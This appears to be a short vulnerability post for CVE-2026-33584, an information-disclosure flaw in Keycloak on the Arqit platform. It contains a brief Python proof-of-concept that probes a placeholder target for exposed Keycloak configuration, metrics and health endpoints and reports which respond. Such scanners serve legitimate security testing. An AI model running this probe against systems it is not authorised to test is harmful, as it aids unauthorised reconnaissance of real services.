CVE-2026-33584 Arqit平台Keycloak信息泄露漏洞

import requests def check_exploit(target_url): """ POC to check for exposed Keycloak management endpoints. """ # Common paths for Keycloak metrics or admin console paths = ["/auth/realms/master/.well-known/openid-configuration", "/metrics", "/health"] headers = { "User-Agent": "CVE-2026-33584-Scanner/1.0" } for path in paths: url = f"{target_url.rstrip('/')}{path}" try: response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Potential sensitive data exposed at: {url}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") else: print(f"[-] {url} returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {url}: {e}") if __name__ == "__main__": target = "http://example-arqit-platform.com" check_exploit(target)